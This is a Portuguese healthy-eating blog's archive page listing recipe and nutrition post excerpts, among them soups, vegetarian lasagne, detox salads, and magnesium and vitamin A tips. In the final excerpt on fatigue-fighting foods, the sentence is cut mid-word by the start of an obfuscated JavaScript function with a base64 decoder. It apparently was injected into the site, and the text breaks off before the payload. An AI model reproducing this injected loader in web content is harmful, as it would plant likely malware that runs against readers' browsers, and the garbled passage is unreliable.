Alimentos que não devemos aquecer no microondas

Fev 6, 2019 | Dicas úteis, Saúde e bem estar

Alimentos que não devemos aquecer no microondas   Há cada vez mais pessoas que que optam por levar refeições nas marmitas para o seu local de trabalho. Para além de ser uma forma de poupar dinheiro, é também uma excelente ajuda para quem não tem tempo de dirigir-se a...

Receita simples e rápida de creme de espinafres com coentros

Jan 16, 2018 | À descoberta, Receitas

Receita simples e rápida de creme de espinafres com coentros     Hoje trago-lhe mais uma alternativa saudável e super apetecível para estes dias mais frios. É verdade, vou dar-lhe a receita simples e rápida de creme de espinafres com coentros para toda a família! Os...

Receita de sopa de brócolos, feijão e ovo escalfado

Nov 27, 2017 | Receitas

Receita de sopa de brócolos, feijão e ovo escalfado     Eu adoro sopas! São muito saciantes, saudáveis e têm todas as vitaminas de que o nosso organismo precisa. Hoje trago-lhe uma receita de sopa de brócolos, feijão e ovo escalfado. Uma sopa divinal rica em proteína,...

Receita saudável de lasanha vegetariana sem massa

Nov 14, 2017 | À descoberta, Receitas

Receita saudável de lasanha vegetariana sem massa     Gosta de lasanha, mas evita por ser um prato demasiado calórico? Então saiba que hoje trago-lhe uma receita saudável de lasanha vegetariana sem massa e sem culpa. Assim,controla melhor os números na balança. Se é...

2 Saladas para combater os excessos e desintoxicar o organismo

Jun 15, 2017 | Receitas

2 Saladas para combater os excessos e desintoxicar o organismo     Após os dias em que nos deixamos levar e cometemos excessos, devemos pensar bem em que como é que desintoxicamos o organismo. Já lhe dei a receita de um sumo verde detox e de um chá detox e hoje...

Dicas saudáveis -10 benefícios do magnésio

Jun 8, 2017 | Dicas úteis, Saúde e bem estar

Dicas saudáveis – 10 benefícios do magnésio     Já sabe que adoro dar-lhe dicas saudáveis e, numa dieta equilibrada, não pode faltar o magnésio! Este nutriente, além de poder ser consumido através de suplementos alimentares, pode ser encontrado nalguns alimentos...

Dicas saudáveis -10 Benefícios da vitamina A

Abr 27, 2017 | Dicas úteis, Saúde e bem estar

Dicas saudáveis -10 Benefícios da vitamina A     Faço questão de lhe dar dicas saudáveis. Hoje venho falar-lhe do benefícios da vitamina A. Sabe em que alimentos é que a pode encontrar? Eu ajudo! A vitamina A encontra-se nos óleos de fígado de peixe, em suplementos,...

Saiba como aproveitar as cascas de legumes e fruta

Abr 1, 2017 | Apanhados na rede, Olha que giro

Saiba como aproveitar as cascas de legumes e fruta     “Nada se perde, tudo se transforma” é uma velha máxima que ouvimos desde os tempos da escola e que se aplica a praticamente todas as áreas e saberes. Mas hoje falo-lhe de algo que talvez nunca tenha...

2 bolos irresistíveis para as mulheres da sua vida

Mar 7, 2017 | Dicas úteis, Receitas

2 Bolos irresistíveis para as mulheres da sua vida     O Dia da Mãe está a chegar e nada melhor que surpreender as mulheres da sua vida com um bolo caseiro feito por si. Hoje trago-lhe duas sugestões absolutamente deliciosas que pode cozinhar para a sua mãe, avó,...

10 alimentos para combater a fadiga

Fev 20, 2017 | Dicas úteis

10 alimentos para combater a fadiga   De certeza que sabe reconhecer o estado de fadiga. É qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...